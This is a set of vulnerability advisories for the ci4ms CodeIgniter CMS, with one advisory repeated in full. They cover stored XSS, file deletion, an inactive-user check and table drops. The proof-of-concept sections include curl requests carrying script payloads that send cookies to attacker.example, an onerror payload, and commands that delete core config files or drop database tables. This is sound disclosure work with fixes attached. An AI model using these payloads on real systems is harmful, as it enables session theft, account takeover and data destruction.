CI4's validator invokes the rule via a local variable $value it created from a copy of $this->data:

// vendor/codeigniter4/framework/system/Validation/Validation.php:204-211
foreach ($values as $dotField => $value) {                       // local $value
    $this->processRules($dotField, $setup['label'] ?? $field, $value, $rules, $data, $field);
}

// Validation.php:343-345
$passed = ($param === null)
    ? $set->{$rule}($value, $error)                              // <-- $value is the local var
    : $set->{$rule}($value, $param, $data, $error, $field);

The reference mutation modifies that local $value only; $this->data, $_POST, and getValidated() keep the raw payload. The optional getClean($original) cache lookup in CustomRules.php:85-93 also fails because the cache was keyed on md5(clean) rather than md5(original).

Sink: raw POST is persisted and rendered unescaped

The Blog controller takes $_POST['lang'] verbatim, runs it through validation (which always returns true for html_purify), and writes it to the database with no further filtering:

// modules/Blog/Controllers/Blog.php:94-125  (Blog::new)
$langsPost = $this->request->getPost('lang');                            // raw, unsanitized
...
if ($this->validate($valData) == false) return redirect()->...;           // html_purify returns true
...
foreach ($langsPost as $lanCode => $lanData) {
    $this->commonModel->create('blog_langs', [
        'blog_id' => $insertID,
        'lang'    => $lanCode,
        'title'   => trim(strip_tags($lanData['title'])),
        'seflink' => trim(strip_tags($lanData['seflink'])),
        'content' => $lanData['content'],                                  // <-- raw HTML stored
        ...
    ]);
}

The same pattern is used in Blog::edit at modules/Blog/Controllers/Blog.php:178 and :201.

The public blog post template echoes the field with no escaping:

// app/Views/templates/default/blog/post.php:51
<section class="mb-5" id="ci4ms-content">
    <?php echo $infos->content ?>
</section>

The view is reached through App\Controllers\Home::post* (Home.php:238), which is an unauthenticated public route.

Trust boundary

Backend routes (modules/Blog/Config/Routes.php) are protected by backendGuard + Shield role checks, requiring blogs.create / blogs.update. These are delegated content-editor roles, not equivalent to superadmin: an editor cannot install plugins, run SQL, or access the file editor. Stored XSS therefore lets a low-privilege editor escalate by hijacking a superadmin session when the admin previews or edits the post (frontend /blog/<slug> is the executing surface; admin browsers visit it routinely). Independent of admin escalation, every public visitor that loads the post executes the attacker's JavaScript.

Same defect in the Pages module

A previous Stored XSS in the Pages module was "fixed" by introducing the very html_purify rule that this advisory shows is non-functional. Pages controllers (Pages::create, Pages::update) follow the same pattern and remain exploitable.

PoC

Prerequisite: any account holding the backend blogs.create role (or blogs.update for the edit variant). Cookies obtained via the standard backend login flow.

1. Submit a blog post with an XSS payload as the content body:

curl -k -b cookies.txt -X POST https://target/backend/blogs/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-xss' \
  -d "lang[en][content]=<script>fetch('https://attacker.example/?c='+encodeURIComponent(document.cookie))</script>" \
  -d 'isActive=1' \
  -d 'categories[]=1' \
  -d 'author=1' \
  -d 'created_at=01.01.2026 10:00:00' \
  -d 'csrf_token_name=<token>'

2. The validator returns success (html_purify reports true), and the row is written to blog_langs with content = <script>...</script> verbatim.

3. Visit the public post URL https://target/blog/poc-xss. The injected <script> runs in every visitor's browser and exfiltrates their cookies. When a superadmin opens the post (e.g., from the backend list to review it), the script executes with the admin's session.

Independent root-cause verification (run against the local app):

$ php /tmp/test_blog_flow.php
Validation passed: true
Stored content for en: <script>alert("STORED-XSS-PROOF-"+document.domain)</script>

That is, when the same payload is fed to the real CI4 validator with the project's rule set, getValidated()['lang']['en']['content'] returns the unmodified <script>...</script>, confirming the by-reference sanitization is dropped.

Impact

• Stored XSS reachable by any account with blogs.create or blogs.update (delegated content-editor permission), executed in the browser of:
  • every anonymous public visitor that loads the affected blog post,
  • the superadmin and other backend reviewers when they open or preview the post.
• Direct consequences include theft of session cookies / CSRF tokens, account takeover via authenticated requests on behalf of the victim, content tampering, drive-by malware, and phishing of site visitors.
• Because the same broken html_purify rule was the previous fix for the Pages Stored XSS, the Pages module is also still exploitable through Pages::create / Pages::update via the same primitive — i.e., this is a project-wide regression of an already-published advisory.
• The getClean() cache fallback intended as a backstop is also non-functional (key mismatch between md5(clean) writer and md5(original) reader).

Recommended Fix

1. Stop relying on by-reference mutation inside the validation rule. Either (a) sanitize at the sink in every controller that accepts WYSIWYG HTML, or (b) sanitize after validate() and before persisting.

   Minimal, immediate fix in the Blog controller — apply to both new and edit:

   // modules/Blog/Controllers/Blog.php  (Blog::new, ~line 123 and Blog::edit, ~line 201)
   use Modules\Backend\Validation\CustomRules;
   ...
   $this->commonModel->create('blog_langs', [
       'blog_id' => $insertID,
       'lang'    => $lanCode,
       'title'   => trim(strip_tags($lanData['title'])),
       'seflink' => trim(strip_tags($lanData['seflink'])),
       'content' => CustomRules::sanitizeHtml((string)($lanData['content'] ?? '')),
       'seo'     => !empty($seoData) ? $seoData : '',
   ]);
   

   Apply the identical change to modules/Pages/Controllers/Pages.php (the previous Pages Stored XSS fix relied on html_purify and is therefore still vulnerable).

2. Fix the cache key bug so getClean() actually works as a defense-in-depth backstop:

   // modules/Backend/Validation/CustomRules.php
   public function html_purify(?string &$str = null, ?string &$error = null): bool
   {
       if (empty(trim((string)$str))) return true;
       if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
       $original = (string)$str;
       $clean    = self::sanitizeHtml($original);
       self::$cleanCache[md5($original)] = $clean;   // key on ORIGINAL, before reassignment
       $str = $clean;                                // best-effort; CI4 will drop this
       return true;
   }
   

3. Document explicitly in CustomRules that html_purify is not a sanitizer — it returns true unconditionally on any HTMLPurifier-installed environment — and that callers MUST use CustomRules::sanitizeHtml(...) (or CustomRules::getClean($original) after the cache fix) on $_POST data before storage.

4. Defense in depth: escape $infos->content at output where feasible (e.g., app/Views/templates/default/blog/post.php:51), or pipe the stored value through CustomRules::sanitizeHtml() on read for templates that are expected to render rich HTML — guaranteeing safety even if a future caller forgets the sanitizer.

Summary

Vulnerability 1: Stored DOM XSS via Profile Name Update (Persistent Payload Injection)

• Stored Cross-Site Scripting via Unsanitized User Name in Profile Management

Description

The application fails to properly sanitize user-controlled input when users update their profile name (e.g., full name / username). An attacker can inject a malicious JavaScript payload into their profile name, which is then stored server-side.

This stored payload is later rendered unsafely in multiple application views without proper output encoding, leading to stored cross-site scripting (XSS).

Affected Functionality

• Profile name / full name update functionality (both the 2 user inputs)
• User profile storage and retrieval logic

Attack Scenario

• An attacker updates their profile name to include a malicious XSS payload.
• The application stores this value without sanitization or encoding.
• The payload persists and executes whenever the name is rendered in affected views.

Impact

• Persistent Stored XSS
• Execution of arbitrary JavaScript in victims’ browsers
• Foundation for privilege escalation and account takeover when viewed by privileged users & normal ones across blogs and public facing pages that show user profiles full names

Endpoint: /backend/users/profile/

Vulnerability 2: Stored XSS via User Name Rendering Across Multiple Endpoints (Privilege Escalation)

(Required for the chain)

• Stored XSS via Unsafe Rendering of User Names Across Administrative and Public Interfaces

Description

User-controlled profile fields (specifically the username / full name) are rendered unsafely across multiple application endpoints, including administrative and content-related interfaces. The application fails to apply proper output encoding when displaying these values.

When an administrator accesses affected pages, the stored XSS payload executes in the administrator’s browser context, resulting in administrative privilege escalation and potential full admin account takeover.

This issue is not limited to a single endpoint and affects all areas where the username is rendered, including but not limited to:

• User management interfaces
• Blog pages
• Other content or UI components displaying usernames

Attack Scenario

• Attacker injects a malicious payload via the profile name update functionality.
• The payload is stored persistently.
• An administrator views the user management page or any affected interface.
• The payload executes automatically in the admin’s browser.
• Attacker hijacks the admin session, performs privileged actions, or fully compromises the admin account.

Impact

• Stored XSS
• Administrative privilege escalation
• Full admin account takeover (including other roles)
• Full compromise of the entire application

Endpoint Example: /backend/users/ of User Management Page

Steps To Reproduce (POC)

1. Go to Profile Management page of the User
2. In the 2 user inputs of the Full Name, put in any field of them a XSS Payload such as: <img src=x onerror=alert(document.domain)>
3. Save the edit
4. Go to User Management page as an Admin or any other role
5. Notice the XSS alert popping up that confirms it
6. Other endpoints aswell can execute such as blogs in the public facing one

Recommended Remediation

1. Eliminate Unsafe DOM Sinks: Remove all usage of .html(), innerHTML, and similar unsafe DOM manipulation methods throughout the application. These sinks should be replaced with safe alternatives such as .text() or textContent, which do not interpret HTML markup.

2. Implement Output Encoding: Apply context-appropriate HTML entity encoding to all user-controlled data before rendering it in the DOM. This ensures that any special characters (e.g., <, >, ", ') are rendered as literal text rather than interpreted as executable markup.

3. Implement Server-Side Input Sanitization: Enforce strict input validation and sanitization on all user-controlled fields — particularly the profile name fields — at the server level before storing values in the database. Currently, no sanitization is applied to these inputs.

4. Apply Defense in Depth: Even in cases where user input does not appear to flow directly into a dangerous sink, it should still be treated as untrusted. Attackers can and will leverage indirect data flows to exploit the application. A layered approach combining input validation, output encoding, and Content Security Policy (CSP) headers is strongly recommended.

Ready Video POC:

https://mega.nz/file/iEVEyT4Y#f046o6ZwYBfS1kK0HNKOCFm6tL_8_SbLtWWKC1hYC4M

Summary

The Pages backend module registers the html_purify validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (Home::index() → app/Views/templates/default/pages.php) emits $pageInfo->content without esc(), yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at / and reach every visitor of the site.

Details

This is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The html_purify custom rule (modules/Backend/Validation/CustomRules.php:54) mutates its first argument by reference:

public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    ...
    $clean = self::sanitizeHtml($str);
    $str = $clean;
    self::$cleanCache[md5((string)$str)] = $clean;
    return true;
}

CodeIgniter 4's Validation::processRules() (vendor/codeigniter4/framework/system/Validation/Validation.php:344) invokes the rule as $set->{$rule}($value, $error) where $value is a local copy populated from request data. Even though the rule signature accepts $str by reference, the mutation only updates the local $value inside processRules(); the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call CustomRules::getClean(...) after validation — but no controller in the codebase does so.

Pages controller — modules/Pages/Controllers/Pages.php:

• Pages::create() registers the rule at line 82:

  'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
  

  Then at lines 102–113 it reads the raw POST and inserts it untouched:

  $langsData = $this->request->getPost('lang') ?? [];
  ...
  $this->commonModel->create('pages_langs', [
      ...
      'content' => $lData['content'],   // line 111 — RAW
      ...
  ]);
  

• Pages::update() mirrors the same pattern at lines 130 and 157:

  'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],   // line 130
  ...
  'content' => $lData['content'],   // line 157 — RAW
  

The row lands in pages_langs.content, which is then read by the public-facing Home::index() controller (app/Controllers/Home.php:31-76) and emitted by the template at app/Views/templates/default/pages.php:32:

<div id="ci4ms-content">
    <?php echo $pageInfo->content ?>     // no esc(), raw HTML output
</div>

CommonLibrary::parseInTextFunctions() (app/Libraries/CommonLibrary.php:45) is called on $pageInfo->content first, but only handles {{form=...}} / {...|...} shortcode-style replacement — it does no HTML sanitization.

This is distinct from the Blog finding:

• Different module/controller (Modules\Pages\Controllers\Pages vs Modules\Blog\Controllers\Blog)
• Different table (pages_langs.content vs blog_langs.content)
• Different view file (templates/{theme}/pages.php vs templates/{theme}/blog/post.php)
• Different route (/<seflink> matched by Home::index vs /blog/<seflink>)
• Pages can be promoted to the site home page via Pages::setHomePage (modules/Pages/Controllers/Pages.php:206), broadening blast radius beyond a single slug to every visitor of /.

Routes are confirmed protected by backendGuard for authentication (modules/Pages/Config/PagesConfig.php:12-17) and require pages.create / pages.update Shield permissions (modules/Pages/Config/Routes.php:4-5).

PoC

Prerequisite: an account with the pages.create (or pages.update) permission. In ci4ms this is a non-admin content-author role.

Step 1 — log in to backend, capture cookies:

curl -k -c cookies.txt -b cookies.txt -X POST https://target/login \
  -d 'email=author@example.com' -d 'password=AuthorPass1!'

Step 2 — create a page with a malicious content payload:

curl -k -b cookies.txt -X POST https://target/backend/pages/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-page-xss' \
  -d 'lang[en][content]=<script>fetch("https://attacker.example/?c="+encodeURIComponent(document.cookie))</script>' \
  -d 'isActive=1'

Expected: redirect to /backend/pages/1 with lang('Backend.created') flashdata. The DB row pages_langs.content contains the literal <script>...</script> payload.

Step 3 — trigger the XSS by visiting the public URL:

https://target/poc-page-xss

Home::index() selects the row, pages.php:32 emits the raw <script> tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to attacker.example, enabling full account takeover.

Step 4 — broaden blast radius (optional, requires pages.update):

curl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \
  -H 'X-Requested-With: XMLHttpRequest'

After this, the malicious page is served at / to every visitor, including unauthenticated visitors and admins navigating to the front-end.

Impact

• Stored XSS in public-facing site: any visitor to a malicious page slug — or to / if the page is set as home — executes the attacker's JavaScript.
• Admin account takeover: an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire /backend/* surface (full CMS administration, user management, file editor, backups, theme upload).
• Privilege escalation: the attacker only needs pages.create (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for S:C in the CVSS vector.
• Persistence and broad reach: the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.

Recommended Fix

Stop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing sanitizeHtml / getClean helper explicitly when persisting the content. In modules/Pages/Controllers/Pages.php:

use Modules\Backend\Validation\CustomRules;

// Pages::create() — replace line 111
$this->commonModel->create('pages_langs', [
    'pages_id' => $insertID,
    'lang'     => $langCode,
    'title'    => strip_tags(trim($lData['title'])),
    'seflink'  => strip_tags(trim($lData['seflink'])),
    'content'  => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'      => $seoData
]);

// Pages::update() — replace line 157
$langUpdate = [
    'title'   => strip_tags(trim($lData['title'])),
    'seflink' => strip_tags(trim($lData['seflink'])),
    'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'     => $seoData
];

Apply the same pattern in every other module that uses html_purify (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the html_purify rule to operate on $data so the validator stores the sanitized result via getValidated() rather than relying on a reference mutation that the framework discards.

Summary

The Fileeditor module enforces an extension allowlist (['css','js','html','txt','json','sql','md']) on content-write operations (saveFile, createFile), but two destructive endpoints — deleteFileOrFolder and renameFile — never validate the extension of the source path. A backend user with file-editor permissions can therefore unlink or rename any file inside the project root that is not explicitly listed in the small $hiddenItems blocklist. Critical framework files such as app/Config/Routes.php, app/Config/App.php, app/Config/Database.php, app/Config/Filters.php, public/index.php, and public/.htaccess all live outside that blocklist and can be destroyed, producing a persistent denial of service that requires filesystem-level redeployment to recover.

Details

Root cause: inconsistent application of the extension allowlist across Fileeditor operations in modules/Fileeditor/Controllers/Fileeditor.php.

The class declares an allowlist used by content-write operations:

// modules/Fileeditor/Controllers/Fileeditor.php:9
protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];

// line 239
private function allowedFileTypes(string $file): bool
{
    $extension = pathinfo($file, PATHINFO_EXTENSION);
    if (!in_array(strtolower($extension), $this->allowedExtensions)) {
        return false;
    }
    return true;
}

saveFile (line 110) and createFile (line 167) correctly call allowedFileTypes() against the target path before writing. The two destructive endpoints do not:

// deleteFileOrFolder — modules/Fileeditor/Controllers/Fileeditor.php:210-237
public function deleteFileOrFolder()
{
    $valData = ([
        'path' => ['label' => '', 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9_ \-\.\/]+$/]'],
    ]);
    if ($this->validate($valData) == false) return $this->fail($this->validator->getErrors());
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $fullPath = realpath(ROOTPATH . $path);

    if (!$fullPath || strpos($fullPath, realpath(ROOTPATH)) !== 0) {
        return $this->response->setJSON(['error' => lang('Fileeditor.invalidFileOrFolder')])->setStatusCode(400);
    }

    if (is_dir($fullPath)) {
        $result = rmdir($fullPath);
    } else {
        $result = unlink($fullPath);   // executes on ANY extension
    }
    ...
}

// renameFile — modules/Fileeditor/Controllers/Fileeditor.php:123-151
public function renameFile()
{
    ...
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $newName = $this->request->getVar('newName');
    $fullPath = realpath(ROOTPATH . $path);
    $newPath = dirname($fullPath) . DIRECTORY_SEPARATOR . $newName;

    if (!$this->allowedFileTypes($newName))   // <— only the destination is checked
        return $this->failForbidden();
    ...
    if (rename($fullPath, $newPath)) { ... }   // source extension never validated
}

The validation gauntlet a path traverses before reaching unlink()/rename():

1. Regex /^[a-zA-Z0-9_ \-\.\/]+$/ — admits any path made of alphanumerics, dots, dashes, underscores, slashes (matches app/Config/Routes.php trivially).
2. isHiddenPath() — only blocks paths whose individual segments equal an entry in $hiddenItems:

// modules/Fileeditor/Controllers/Fileeditor.php:10-26
protected $hiddenItems = [
    '.git', '.github', '.idea', '.vscode', 'node_modules', 'vendor',
    'writable', '.env', 'env', 'composer.json', 'composer.lock',
    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'
];

Critical CodeIgniter 4 framework files (app, Config, Routes.php, App.php, Database.php, Filters.php, public, index.php, .htaccess) are not members of this list, so they pass.

3. realpath + strpos containment — confirms the resolved path is inside ROOTPATH. Routes.php, etc., are inside ROOTPATH and pass.

4. Sink — unlink() or rename() runs unconditionally; no extension allowlist applied.

The recent security patch in commit 379ebb6 ("Security: patch critical vulnerabilities and bump to v0.31.4.0") added isHiddenPath() invocations to every endpoint, addressing the previous .env reachability. It did not address the missing extension allowlist on delete and rename source paths. The inconsistency therefore survives in HEAD (v0.31.8.0).

Authorization is provided by the backendGuard filter (modules/Fileeditor/Config/FileeditorConfig.php:12-17) routing through Modules\Auth\Filters\Ci4MsAuthFilter, which requires the role permission fileeditor.delete for deleteFileOrFolder and fileeditor.update for renameFile. Superadmins always pass; role-assigned users with only the Fileeditor permission can also reach the sink, exceeding the editor's apparent design intent (the allowlist on save/create signals that the editor is meant to handle only safe content-type files).

PoC

Prerequisites: an authenticated session with fileeditor.delete (or superadmin) for step 1, and fileeditor.update for step 2. The application is mounted under backend/, not admin/.

# 1) Arbitrary file deletion (no extension check at all)
curl -X POST 'https://target/backend/fileeditor/deleteFileOrFolder' \
  -H 'Cookie: ci_session=<admin>' \
  --data-urlencode 'path=app/Config/Routes.php'
# -> {"success": true}
# Routes.php is unlinked. The next request fails because no routes load. Persistent DoS.

# Equivalently catastrophic targets (none of these segments are in $hiddenItems):
#   path=public/index.php           (front controller — entire app dead)
#   path=app/Config/App.php         (core app config)
#   path=app/Config/Database.php    (DB config)
#   path=app/Config/Filters.php     (auth/CSRF filters)
#   path=public/.htaccess           (rewrite + security rules)

# 2) Rename .php to neutralize the file without checking the source extension
curl -X POST 'https://target/backend/fileeditor/renameFile' \
  -H 'Cookie: ci_session=<admin>' \
  --data-urlencode 'path=app/Config/Routes.php' \
  --data-urlencode 'newName=Routes.txt'
# -> {"success": true}
# Routes.php disappears, becomes Routes.txt. Routing dies on next request.

Trace verifying the validation logic for path=app/Config/Routes.php:

• Regex /^[a-zA-Z0-9_ \-\.\/]+$/ — matches.
• isHiddenPath('app/Config/Routes.php') — segments ['app','Config','Routes.php'], none in $hiddenItems → returns false.
• realpath(ROOTPATH . 'app/Config/Routes.php') — resolves inside ROOTPATH, containment check passes.
• unlink($fullPath) (deleteFileOrFolder, line 229) or rename($fullPath, $newPath) (renameFile, line 146) executes — no extension allowlist applied.

Impact

A backend user holding the Fileeditor delete or update permission can:

• Delete or neutralize the front controller (public/index.php), routing config (app/Config/Routes.php), database config (app/Config/Database.php), filter pipeline (app/Config/Filters.php), web-server rules (public/.htaccess), or any other framework file inside the project root.
• Cause persistent denial of service: the application becomes unreachable on the next request and there is no in-app "restore" — recovery requires filesystem access (redeploy, git checkout, or backup restore).
• Destroy data files inside the project tree (e.g. SQLite databases, cached config) outside the small $hiddenItems blocklist.

The destructive surface exceeds Fileeditor's intended capability: the saveFile/createFile allowlist signals an explicit design intent to restrict modifications to safe content extensions, yet delete/rename can target arbitrary file types. Even where the actor is already a superadmin, the bug widens the destructive blast radius beyond what the editor UI exposes and beyond what fileeditor.delete plausibly authorizes for non-superadmin role holders.

The path is gated by an admin-tier permission, so PR:H is honest; impact is limited to integrity/availability of files reachable by the web server user.

Recommended Fix

Apply the same allowedFileTypes() allowlist (or a stricter directory allowlist for editor-managed assets) to the source path in both destructive endpoints. After the existing realpath containment check:

// In deleteFileOrFolder, after line 224:
if (!is_dir($fullPath) && !$this->allowedFileTypes($fullPath)) {
    return $this->failForbidden();
}

// In renameFile, alongside the existing $newName check at line 139:
if (!$this->allowedFileTypes($fullPath) || !$this->allowedFileTypes($newName)) {
    return $this->failForbidden();
}

Stronger hardening — and aligned with the editor's apparent intent — is to confine all Fileeditor operations to a directory allowlist (e.g. public/templates/, public/uploads/) rather than the entire ROOTPATH, and to extend $hiddenItems (or replace it with a denylist of full path prefixes) so that app/Config, public/index.php, public/.htaccess, and similar framework artefacts cannot be reached even by symlink or alternate casing.

Summary

The custom html_purify validation rule used to sanitize blog post bodies relies on by-reference mutation (?string &$str), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently discarded. The Blog controller writes $lanData['content'] directly into blog_langs.content, and the public template echoes it without escaping — yielding stored XSS executable in any visitor's browser, including the superadmin when previewing or editing posts.

Details

Root cause: by-reference mutation never propagates

Modules\Backend\Validation\CustomRules::html_purify declares its first argument by reference:

// modules/Backend/Validation/CustomRules.php:54-73
public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    if (empty(trim((string)$str))) return true;
    if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
    $clean = self::sanitizeHtml($str);
    $str   = $clean;                                  // <-- mutates only the local $value in CI4's validator
    self::$cleanCache[md5((string)$str)] = $clean;    // <-- key is md5(CLEAN), getClean() looks up md5(ORIGINAL)
    return true;
}

CI4's validator invokes the rule via a local variable $value it created from a copy of $this->data:

// vendor/codeigniter4/framework/system/Validation/Validation.php:204-211
foreach ($values as $dotField => $value) {                       // local $value
    $this->processRules($dotField, $setup['label'] ?? $field, $value, $rules, $data, $field);
}

// Validation.php:343-345
$passed = ($param === null)
    ? $set->{$rule}($value, $error)                              // <-- $value is the local var
    : $set->{$rule}($value, $param, $data, $error, $field);

The reference mutation modifies that local $value only; $this->data, $_POST, and getValidated() keep the raw payload. The optional getClean($original) cache lookup in CustomRules.php:85-93 also fails because the cache was keyed on md5(clean) rather than md5(original).

Sink: raw POST is persisted and rendered unescaped

The Blog controller takes $_POST['lang'] verbatim, runs it through validation (which always returns true for html_purify), and writes it to the database with no further filtering:

// modules/Blog/Controllers/Blog.php:94-125  (Blog::new)
$langsPost = $this->request->getPost('lang');                            // raw, unsanitized
...
if ($this->validate($valData) == false) return redirect()->...;           // html_purify returns true
...
foreach ($langsPost as $lanCode => $lanData) {
    $this->commonModel->create('blog_langs', [
        'blog_id' => $insertID,
        'lang'    => $lanCode,
        'title'   => trim(strip_tags($lanData['title'])),
        'seflink' => trim(strip_tags($lanData['seflink'])),
        'content' => $lanData['content'],                                  // <-- raw HTML stored
        ...
    ]);
}

The same pattern is used in Blog::edit at modules/Blog/Controllers/Blog.php:178 and :201.

The public blog post template echoes the field with no escaping:

// app/Views/templates/default/blog/post.php:51
<section class="mb-5" id="ci4ms-content">
    <?php echo $infos->content ?>
</section>

The view is reached through App\Controllers\Home::post* (Home.php:238), which is an unauthenticated public route.

Trust boundary

Backend routes (modules/Blog/Config/Routes.php) are protected by backendGuard + Shield role checks, requiring blogs.create / blogs.update. These are delegated content-editor roles, not equivalent to superadmin: an editor cannot install plugins, run SQL, or access the file editor. Stored XSS therefore lets a low-privilege editor escalate by hijacking a superadmin session when the admin previews or edits the post (frontend /blog/<slug> is the executing surface; admin browsers visit it routinely). Independent of admin escalation, every public visitor that loads the post executes the attacker's JavaScript.

Same defect in the Pages module

A previous Stored XSS in the Pages module was "fixed" by introducing the very html_purify rule that this advisory shows is non-functional. Pages controllers (Pages::create, Pages::update) follow the same pattern and remain exploitable.

PoC

Prerequisite: any account holding the backend blogs.create role (or blogs.update for the edit variant). Cookies obtained via the standard backend login flow.

1. Submit a blog post with an XSS payload as the content body:

curl -k -b cookies.txt -X POST https://target/backend/blogs/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-xss' \
  -d "lang[en][content]=<script>fetch('https://attacker.example/?c='+encodeURIComponent(document.cookie))</script>" \
  -d 'isActive=1' \
  -d 'categories[]=1' \
  -d 'author=1' \
  -d 'created_at=01.01.2026 10:00:00' \
  -d 'csrf_token_name=<token>'

2. The validator returns success (html_purify reports true), and the row is written to blog_langs with content = <script>...</script> verbatim.

3. Visit the public post URL https://target/blog/poc-xss. The injected <script> runs in every visitor's browser and exfiltrates their cookies. When a superadmin opens the post (e.g., from the backend list to review it), the script executes with the admin's session.

Independent root-cause verification (run against the local app):

$ php /tmp/test_blog_flow.php
Validation passed: true
Stored content for en: <script>alert("STORED-XSS-PROOF-"+document.domain)</script>

That is, when the same payload is fed to the real CI4 validator with the project's rule set, getValidated()['lang']['en']['content'] returns the unmodified <script>...</script>, confirming the by-reference sanitization is dropped.

Impact

• Stored XSS reachable by any account with blogs.create or blogs.update (delegated content-editor permission), executed in the browser of:
  • every anonymous public visitor that loads the affected blog post,
  • the superadmin and other backend reviewers when they open or preview the post.
• Direct consequences include theft of session cookies / CSRF tokens, account takeover via authenticated requests on behalf of the victim, content tampering, drive-by malware, and phishing of site visitors.
• Because the same broken html_purify rule was the previous fix for the Pages Stored XSS, the Pages module is also still exploitable through Pages::create / Pages::update via the same primitive — i.e., this is a project-wide regression of an already-published advisory.
• The getClean() cache fallback intended as a backstop is also non-functional (key mismatch between md5(clean) writer and md5(original) reader).

Recommended Fix

1. Stop relying on by-reference mutation inside the validation rule. Either (a) sanitize at the sink in every controller that accepts WYSIWYG HTML, or (b) sanitize after validate() and before persisting.

   Minimal, immediate fix in the Blog controller — apply to both new and edit:

   // modules/Blog/Controllers/Blog.php  (Blog::new, ~line 123 and Blog::edit, ~line 201)
   use Modules\Backend\Validation\CustomRules;
   ...
   $this->commonModel->create('blog_langs', [
       'blog_id' => $insertID,
       'lang'    => $lanCode,
       'title'   => trim(strip_tags($lanData['title'])),
       'seflink' => trim(strip_tags($lanData['seflink'])),
       'content' => CustomRules::sanitizeHtml((string)($lanData['content'] ?? '')),
       'seo'     => !empty($seoData) ? $seoData : '',
   ]);
   

   Apply the identical change to modules/Pages/Controllers/Pages.php (the previous Pages Stored XSS fix relied on html_purify and is therefore still vulnerable).

2. Fix the cache key bug so getClean() actually works as a defense-in-depth backstop:

   // modules/Backend/Validation/CustomRules.php
   public function html_purify(?string &$str = null, ?string &$error = null): bool
   {
       if (empty(trim((string)$str))) return true;
       if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
       $original = (string)$str;
       $clean    = self::sanitizeHtml($original);
       self::$cleanCache[md5($original)] = $clean;   // key on ORIGINAL, before reassignment
       $str = $clean;                                // best-effort; CI4 will drop this
       return true;
   }
   

3. Document explicitly in CustomRules that html_purify is not a sanitizer — it returns true unconditionally on any HTMLPurifier-installed environment — and that callers MUST use CustomRules::sanitizeHtml(...) (or CustomRules::getClean($original) after the cache fix) on $_POST data before storage.

4. Defense in depth: escape $infos->content at output where feasible (e.g., app/Views/templates/default/blog/post.php:51), or pipe the stored value through CustomRules::sanitizeHtml() on read for templates that are expected to render rich HTML — guaranteeing safety even if a future caller forgets the sanitizer.

Summary

The auth filter has the deactivated/banned user check commented out.

Details

CodeIgniter Shield's loggedIn() re-checks the status field (catching status='banned'), but does not re-check the active field for existing sessions. When an admin deactivates a user (active=0) after they have already logged in:

• Their session cookie remains valid
• auth()->loggedIn() still returns true
• The commented-out code is the only mechanism that would have checked !$user->active

Evidence

Impact

• User deactivation does NOT immediately revoke backend access
• Deactivated user retains full access until session expires (default: 7200s)

Additional note

The commented-out block appears to be a deferred placeholder — it was written but disabled from the very first commit that introduced the filter, and has never been active. The later addition of SessionTracker (v0.31.4.0) suggests the dev was aware of the session revocation gap, but account-level deactivation (users.active = 0) remains unenforced. Could you verify if this is intentionally pending or simply forgotten and not documented?.

Summary

The deleteProcess() action accepts a POST parameter tables[] containing arbitrary table names. These are passed directly to $forge->dropTable() without validating that the tables belong to the theme being deleted.

The deleteConfirm view correctly populates tables[] from the theme's own migration files, but the server-side deleteProcess does not verify the received values against those files. An authenticated admin can craft a POST request with arbitrary table names and drop any table in the database.

This is a real bug even within the admin trust model: the action should be scoped to the theme's own tables. The permission grants delete this theme's data", not "drop any table".

Details

Location

modules/Theme/Controllers/Theme.php :: deleteProcess() ~line 147

Vulnerable Code

public function deleteProcess(string $slug)
{
    $themeName = $slug;
    $activeTheme = setting('App.siteTheme');
    if ($activeTheme === $themeName) {
        return redirect()->route('templateSettings')...;
    }

    $tablesToDrop = $this->request->getPost('tables');  // ← user-supplied, unvalidated
    if (!empty($tablesToDrop) && is_array($tablesToDrop)) {
        $forge = \Config\Database::forge();
        $db    = \Config\Database::connect();
        foreach ($tablesToDrop as $table) {
            if ($db->tableExists($table)) {
                $forge->dropTable($table, true);  // ← no whitelist check
            }
        }
    }

PoC

1. Authenticate to the backend (any user with theme.delete permission)
2. POST to /backend/themes/delete-process/<any_non_active_theme_slug>
3. Include tables[]=<any_table> in POST body
4. The named tables are dropped without validation

Impact

• Dropped ci4ms_blog (confirmed in test)
• Dropped ci4ms_users + ci4ms_auth_identities simultaneously — disables all authentication (confirmed)
• Any table in the database can be targeted

Additional note

